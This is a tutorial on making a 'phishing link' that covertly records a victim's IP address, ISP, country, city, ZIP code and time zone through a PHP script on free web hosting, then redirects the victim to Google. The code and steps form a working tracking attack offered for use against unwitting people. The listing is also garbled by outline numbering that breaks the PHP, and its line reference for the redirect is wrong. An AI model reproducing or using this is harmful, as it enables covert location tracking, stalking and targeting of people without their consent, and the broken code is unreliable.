

How to create a Phishing link for getting the IP address of Victim

In this documentation, I am going to explain how to create a phishing link to get the exact IP and ISP of a victim using a PHP script and a WebHost.

we only need 2 things to make a phishing link.

1. A PHP script
 2. A Free web hosting site.
- To do this open a Text editor and copy the following code.

```
1. <?php
2. //GET VISITOR IP
3. function get_ip() {
4.     a. if(isset($_SERVER['HTTP_CLIENT_IP'])) {
5.         i. return $_SERVER['HTTP_CLIENT_IP'];
6.     b. }
7.     c. elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
8.         return $_SERVER['HTTP_X_FORWARDED_FOR'];
9.     a. }
10.    b. else {
11.        i. return (isset($_SERVER['REMOTE_ADDR']) ?
12.            $_SERVER['REMOTE_ADDR'] : '');
13.    }
14. }
15. header("Location:https://www.google.com/");
16. $ip=get_ip();
17. // USE AN API TO GET VISITOR'S DATA
18. $query=@unserialize(file_get_contents('http://ip-api.com/php/'.$ip));
19. if($query && $query['status'] == 'success') {
20.     a. $fp = fopen('log.txt', 'w');
21.     b. fwrite($fp, 'User Real IP Address- '.$ip);
22.     c. fwrite($fp, ' User ISP- '.$query['isp']);
23.     d. fwrite($fp, ' User COUNTRY- '.$query['country']);
24.     e. fwrite($fp, ' User REGION NAME- '.$query['regionName']);
25.     f. fwrite($fp, ' User CITY- '.$query['city']);
26.     g. fwrite($fp, ' User ZIP- '.$query['zip']);
27.     h. fwrite($fp, ' User TIMEZONE- '.$query['timezone']);
28.     i. fwrite($fp, ' ORG- '.$query['org']);
29.     j. fwrite($fp, ' AS- '.$query['as'].'<br>');
30.     k. fclose($fp);
31.     l.
32. }
33. else {
34.     a. $fp = fopen('log.txt', 'w');
35.     b. fwrite($fp, 'Something is wrong.<br>');
36.     c. fclose($fp);
37. }
38. }
39. ?>
```

and save it as 'file.php' on your system.

How to create a Phishing link for getting the IP address of Victim

- Now go to "<https://in.000webhost.com/>" and signup.
- Then login to "<https://in.000webhost.com/>" and go to "Create New Site".
- Now go to "Manage website" > "File Manager"
- Click on the "public_html" folder on the left side.
- On the above right side, you will find a button named "Upload Files".
- Click on "Upload Files" and select your file named "file.php" and then click on the "Upload" button.
- Now go back to the main page of 000webhost and there you will find a link at the bottom of the first block named "Manage Website".
- Copy this link and add "file.php" at the end of this link.
- Now copy and send this link to the victim.
- Once the victim clicks on that link he will be redirected to "google.com" and you will find a file named as "log.txt" in the folder:
"Manage Website" > "File Manager" > "public_html"
- Open the "log.txt" file and you will get the IP address and ISP of the victim.

❖ Note: You can also change the redirection website as your choice by doing just a small change on the 7th line of the above code by just changing the address from "<https://www.google.com/>" to your desired URL.
